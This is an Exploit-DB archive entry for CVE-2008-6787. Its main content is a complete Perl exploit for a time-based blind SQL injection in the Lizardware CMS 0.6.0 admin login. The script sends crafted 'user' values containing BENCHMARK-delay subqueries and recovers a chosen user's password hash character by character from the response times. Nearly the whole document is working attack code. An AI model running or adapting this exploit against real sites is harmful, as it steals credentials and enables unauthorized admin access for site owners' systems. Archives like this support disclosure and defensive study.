[] NeoSense

Lizardware CMS 0.6.0 - Blind SQL Injection

Author: StAkeR
type: webapps
platform: php
port: 
date_added: 2008-12-16 
date_updated: 2017-01-06 
verified: 1 
codes: OSVDB-54239;CVE-2008-6787 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comliz_060_beta_1.rar

#!/usr/bin/perl -w
# Lizardware CMS <= 0.6.0 Blind SQL Injection Exploit
# by athos - staker[at]hotmail[dot]it
# http://sourceforge.net/projects/lizardwarecms/

use strict;
use LWP::UserAgent;

my ($stop,$start,$hash);

my $domain = shift;
my $ptable = shift;
my $userid = shift or &usage;

my @chars = (48..57, 97..102);
my $substr = 1;
my $http = new LWP::UserAgent;


&usage unless $domain =~ /^http:\/\/(.+?)$/i and $userid =~ /^[0-9]$/;


sub send_request
{
     my $post = undef;
     my $host = $domain;
     my $param = shift @_ or die $!;

     $host .= "/administrator/index.php?loginsubmitMTIyOTU0ODExMg== ";
     $post = $http->post($host,[
                                 user      => $param,
                                 pass      => 'anything'
                               ]);

}


sub give_char
{
     my $send = undef;
     my ($charz,$uidz) = @_;

     $send = "' or (select if((ascii(substring".
             "(user_password,$uidz,1))=$charz),".
             "benchmark(230000000,char(0)),".
            "0) from ${ptable}_users where user_id=$userid)#";

     return $send;
}


for(1..32)
{
     foreach my $set(@chars)
     {
          my $start = time();

          send_request(give_char($set,$substr));

          my $stop = time();

         if($stop - $start > 6)
         {
              syswrite(STDOUT,chr($set));
              $substr++;
              last;
        }
    }
}

sub usage
{
     print "[?] Lizardware CMS <= 0.6.0 Blind SQL Injection Exploit\n";
     print "[?] by athos - staker[at]hotmail[dot]it\n";
     print "[?] Usage: perl $0 http://[host/path] [table_prefix] [id]\n";
     exit;
}

# milw0rm.com [2008-12-17]